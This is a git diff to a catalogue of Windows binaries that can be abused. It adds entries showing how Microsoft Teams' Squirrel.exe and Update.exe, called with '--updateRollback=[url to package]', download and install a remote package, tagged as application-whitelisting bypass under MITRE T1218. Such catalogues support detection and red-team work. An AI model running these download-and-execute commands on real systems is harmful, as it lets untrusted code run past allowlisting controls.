diff --git a/yml/OtherMSBinaries/squirrel.yml b/yml/OtherMSBinaries/squirrel.yml
index ff1ae90..64c0737 100644
--- a/yml/OtherMSBinaries/squirrel.yml
+++ b/yml/OtherMSBinaries/squirrel.yml
@@ -28,6 +28,22 @@ Commands:
     MitreID: T1218
     MitreLink: https://attack.mitre.org/techniques/T1218/
     OperatingSystem: Windows 7 and up with Microsoft Teams installed
+  - Command: squirrel.exe --updateRoolback=[url to package]
+    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
+    Usecase: Download and execute binary
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/techniques/T1218/
+    OperatingSystem: Windows 7 and up with Microsoft Teams installed
+  - Command: squirrel.exe --updateRollback=[url to package]
+    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
+    Usecase: Download and execute binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/techniques/T1218/
+    OperatingSystem: Windows 7 and up with Microsoft Teams installed
 Full_Path:
   - Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe'
 Code_Sample: 
@@ -39,6 +55,7 @@ Resources:
   - Link: https://twitter.com/reegun21/status/1144182772623269889
   - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
   - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
+  - Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
 Acknowledgement:
   - Person: Reegun J (OCBC Bank)
     Handle: '@reegun21'
diff --git a/yml/OtherMSBinaries/update.yml b/yml/OtherMSBinaries/update.yml
index 33c30b8..44cbd61 100644
--- a/yml/OtherMSBinaries/update.yml
+++ b/yml/OtherMSBinaries/update.yml
@@ -28,6 +28,22 @@ Commands:
     MitreID: T1218
     MitreLink: https://attack.mitre.org/techniques/T1218/
     OperatingSystem: Windows 7 and up with Microsoft Teams installed
+  - Command: Update.exe --updateRoolback=[url to package]
+    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
+    Usecase: Download and execute binary
+    Category: AWL Bypass
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/techniques/T1218/
+    OperatingSystem: Windows 7 and up with Microsoft Teams installed
+  - Command: Update.exe --updateRollback=[url to package]
+    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
+    Usecase: Download and execute binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/techniques/T1218/
+    OperatingSystem: Windows 7 and up with Microsoft Teams installed
   - Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
     Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
     Usecase: Application Whitelisting Bypass
@@ -56,6 +72,7 @@ Resources:
   - Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
   - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
   - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
+  - Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
 Acknowledgement:
   - Person: Reegun J (OCBC Bank)
     Handle: '@reegun21'